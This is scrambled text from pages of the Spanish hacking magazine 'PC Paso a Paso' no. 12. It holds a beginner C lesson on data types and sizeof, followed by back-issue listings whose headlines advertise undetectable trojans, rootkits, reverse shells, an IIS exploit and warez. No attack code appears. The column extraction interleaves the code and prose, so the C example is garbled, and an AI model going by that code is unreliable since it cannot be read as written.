  • 64. Programación bajo Linux - C - Programación bajo Linux - C - Programación bajo Linux - C #include <stdio.h> ofrezcan ejercicios para pasar de números decimales a main() binarios e inversa. También sería interesante explicar un poco los operadores e incluso dar un repaso a todo eso de { números reales, enteros… … ahora ya nunca más podremos char caracter; decir que las matemáticas no sirven para nada, de hecho, int entero; el mundo en que vivimos es matemática pura lo mires por donde lo mires. float real; caracter=10; entero=10; 3.2.1.2. Tipos reales real=10; printf("char ==< Contenido: %c, Ocupa: %dbytesn",caracter,sizeof(char)); Para declarar variables de alguno de los tipos reales emplearemos las palabras reservadas printf("int ==< Contenido: %i, Ocupa: %d bytesn",entero, sizeof(int)); float y double. printf("float ==< Contenido: %f, Ocupa: %d bytesn",real,sizeof(float)); } float Define un número entero en coma flotante de Obviamente los resultados de este programa no tienen precisión simple. El tamaño de este tipo suele porqué coincidir con los del gráfico. Recordemos que los estar asociado a 4 bytes (32 bits). tamaños de los tipos varían entre arquitecturas, sistemas operativos, e incluso compiladores. double 3.2.3. Tipos Derivados Define un número en coma flotante de precisión doble. El tamaño de este tipo suele estar Los tipos derivados serán aquellos que se generen a partir asociado a 8 bytes (64 bits). El tipo double de los tipos fundamentales o de otros tipos derivados. puede ir precedido del modificador long, lo que Nosotros iremos viendo los arrays o vectores, punteros, indica que su tamaño pasa a ser de 10 bytes. estructuras, uniones y campos de bits. Ejemplos: 4. Cierre float temperatura = 36.5; Esta vez me sabe a poco el artículo hasta a mí. Nos queda double distancia = 128e64; aún jugar con tipos derivados, punteros, etc... En el siguiente número también explicaremos funciones y los diversos modos de pasar parámetros. Concretamente construiremos nuestro propio tipo matriz, utilizando ya archivos de cabecera y 3.2.2. Operador sizeof archivos Makefile. A la espera de ello, vamos a releernos este artículo y muy gustosamente iré ampliando algún tema Para determinar el tamaño en bytes (8 bits = o resolviendo dudas en el foro. 1 byte) ocupados en memoria, tanto de un tipo fundamental como de un tipo derivado, el Bibliografía lenguaje C nos proporciona la función sizeof. Esto, aparte de permitirnos conocer cuantas UNiX Programación Avanzada, Fco. Manuel Márquez, Editado "casillas" de memoria ocupan realmente por Ra-Ma, ISBN: 84-7897-239-0. nuestras variables cuando las declaramos, nos Slackware Linux Unleashed, Bao Ha y Tina Nguyen, Editado permitirá facilitar la portabilidad del código. por Pearson Education, ISBN: 0-672-31768-0. El siguiente ejemplo nos mostrará el tamaño Advanced Linux Programming, Mark Mitchel, Jeffrey Oldham, real en nuestra computadora de los tipos de y Alex Samuel, Editado por New Riders, ISBN: datos de C empleados en el ejemplo de la figura: 0-7357-1043-0 Página 64 PC PASO A PASO Nº 12
  • 65. NÚMERO1: NÚMERO 2: -CODE/DECODE BUG: INTRODUCCIÓN. -CREA TU PRIMER TROYANO -CODE/DECODE BUG: LOCALIZACIÓN DEL OBJETIVO. INDETECTABLE POR LOS ANTIVIRUS. -CODE/DECODE BUG: LÍNEA DE COMANDOS. -FLASHFXP: SIN LÍMITE DE VELOCIDAD. -CODE/DECODE BUG: SUBIENDO ARCHIVOS AL SERVIDOR REMOTO. -FTP SIN SECRETOS: PASVMODE. -OCULTACIÓN DE IP: PRIMEROS PASOS. -PORT MODE/PASV MODE Y LOS FIREWALL: LA UTILIDAD DE LO APRENDIDO. -LA FLECHA ÁCIDA: LA SS DIGITAL. -TCP-IP:INICIACIÓN (PARTE 1). AZNAR AL FRENTE DE LA SS DEL SIGLO XXI. -EL MEJOR GRUPO DE SERVIDORES FTP DE HABLA HISPANA. -EDONKEY 2000 Y SPANISHARE. -LA FLECHA ÁCIDA. NÚMERO 3: NÚMERO 4: -PROXY: OCULTANDO NUESTRA IP. - CREA TU SEGUNDO TROYANO, INDETECTABLE E INMUNE A LOS ANTIVIRUS. ASUMIENDO CONCEPTOS. CONOCIENDO EL RADMIN. -PROXY: OCULTANDO NUESTRA IP. GESTIONANDO UNA SALA ENCADENANDO PROXIES. DE ORDENADORES. -PROXY: OCULTANDO NUESTRA IP. OCULTANDO EL RADMIN. OCULTANDO TODOS NUESTROS PROGRAMAS TRAS LAS INSTALANDO EL RADMIN CADENAS DE PROXIES. EN EQUIPOS REMOTOS. -EL SERVIDOR DE HACKXCRACK: CONFIGURACIÓN Y MODO DE EMPLEO. - OCULTACIÓN DE IP POR NOMBRE DE DOMINIO. -SALA DE PRACTICAS: EXPLICACIÓN. - CREA LETRAS DE IMPACTO PARA TUS DOCUMENTOS (LETRAS DE FUEGO). -PRÁCTICA 1ª: SUBIENDO UN ARCHIVO A NUESTRO SERVIDOR. - CONSIGUE UNA IP FIJA. -PRÁCTICA 2ª: MONTANDO UN DUMP CON EL SERV-U. PRÁCTICA 3ª: CODE/DECODE BUG. LÍNEA DE COMANDOS. -PREGUNTAS Y DUDAS. NÚMERO 6: NÚMERO 5: - PASA TUS PELICULAS A DIVX (STREAMING) -HACK-OPINION: LA PIRATERÍA EN INTERNET. - PASA TUS PELICULAS A DIVX II (CODEC DIVX) -ROOTKITS: LA PESADILLA DE CUALQUIER ADMINISTRADOR. - PUERTOS & SERVICIOS -ROOTKITS: EL SR. NTROOT. - eMule: EL NUEVO REY DEL P2P -WAREZ: APPZ, GAMEZ, MP3Z, DIVX, FTPZ, 0-DAY. - NUEVA SECCION: PROGRAMACION DESDE 0 -APRENDIENDO A COMPILAR PROGRAMAS. COMPILA TU PROPIO NETCAT. - CURSO DE VISUAL BASIC -BUGS, ERRORES Y OTRAS FORMA DE JOD... - IPHXC: EL TERCER TROYANO DE HXC -NETBIOS: ESTUDIO Y PENETRACIÓN DE SISTEMAS. - TENDENCIAS ACTUALES EN CODIGO MALICIOSO -ASESINADOS POR LA LSSI. - OCULTACION DE FICHEROS. METODO STREAM (ads) -LISTADO DE ORDENES PARA NETBIOS. - TRASTEANDO CON EL HARDWARE DE UNA LAN -HACK-OPINION: PAGOS POR INTERNET SEGUROS YÁ. PC PASO A PASO Nº 12 Página 65
  • 66. NÚMERO 8: NÚMERO 7: - CURSO DE LINUX - PROTOCOLOS: POP3 - APACHE: COMPARTE ARCHIVOS - PASA TUS PELICULAS A DIVX III (EL AUDIO) - REVERSE SHELL - PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO) - CURSO DE VISUAL BASIC: MAS - CURSO DE VISUAL BASIC: LA CALCULADORA CALCULADORA - IPHXC: EL TERCER TROYANO DE HXC II - PROTOCOLOS Y SU SEGURIDAD: SMTP - APACHE: UN SERVIDOR WEB EN NUESTRO PC - CCPROXY: IV TROYANO DE PC PASO A PASO - TRASTEANDO CON EL HARDWARE DE UNA LAN NÚMERO 10: NÚMERO 9: - CURSO DE LINUX (Gestión de usuários) - CURSO DE LINUX (Sistema de archivos) - APACHE + MySQL + PHP=Trio de Ases - APACHE: COMPARTE ARCHIVOS MEDIANTE WEB. - CURSO DE VISUAL BASIC: ACCESO A DATOS(II) - CURSO DE VISUAL BASIC: MI 1ª DLL ACCESO A - XML: El futuro de la trasferencia de datos DATOS - SERIE RAW: DCC - PORT SCANING: NMAP - SERIE RAW: IRC NÚMERO 11: - Curso de linux: programacion - Visual Basic: IIS bug exploit - Apache como proxy - Serie Raw: FTP - Validacion XML: DTD - Historia: Lady Augusta Ada Byron Página 66 PC PASO A PASO Nº 12